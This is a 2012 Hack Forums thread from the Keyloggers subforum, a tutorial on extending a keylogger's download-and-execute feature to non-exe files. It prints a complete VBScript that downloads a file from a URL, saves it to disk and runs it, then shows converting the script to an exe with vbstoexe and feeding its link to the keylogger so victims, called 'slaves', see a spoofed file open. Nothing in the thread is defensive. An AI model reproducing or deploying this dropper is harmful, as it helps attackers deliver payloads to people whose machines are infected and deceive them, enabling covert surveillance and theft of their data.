Hack Forums
[TUT] How to make your download and execute feature can work for all extension - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: [TUT] How to make your download and execute feature can work for all extension (/showthread.php?tid=2983899)



[TUT] How to make your download and execute feature can work for all extension - kriptonhaz - Oct 30, 2012

Greetings for all of HF member.. 🤝
Quote:I'm specially noob in here forum just want to share about this noob tuts because I just bought a keylogger with this feature but only work for exe file (and this is my first time being thread starter) 😊. Well this time I'm gonna show you how to make this work for another file just some kind of spoofing with some vbs


Preparation:
1. A keylogger with download and execute feature (lol)
2. VBS to exe you can download from here
3. file that you want to spoof

Step 1:
Upload your file and it can get downloaded with direct link, in this case I'm just gonna try a image.jpg file from google (so I don't need upload it) 😁

Step 2:
Copy and paste this to your notepad and save as with *.vbs (example.vbs)
Code
' Set your settings
    strFileURL = "http://example.jpg"
    strHDLocation = "D:\file.jpg"

' Fetch the file
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

    objXMLHTTP.open "GET", strFileURL, false
    objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0    'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing

CreateObject("WScript.Shell").Run "D:\file.jpg"
source from this

let see you MUST change source file, your file name and destination folder for make it work 😝

Step 3:
try to open it, and if your file opened by the default program it's means that script work smoothly (of course it's depend on slave internet connection) 🤣
After that use that vbstoexe just like this
Code
vbstoexe script.vbs script.exe
This call converts script.vbs to script.exe

Step 4:
just upload it and of course can be opened from the direct link, and use that link in your keylogger who can has this feature 😎

Hope this tut will help you and sorry my bad language.. ✌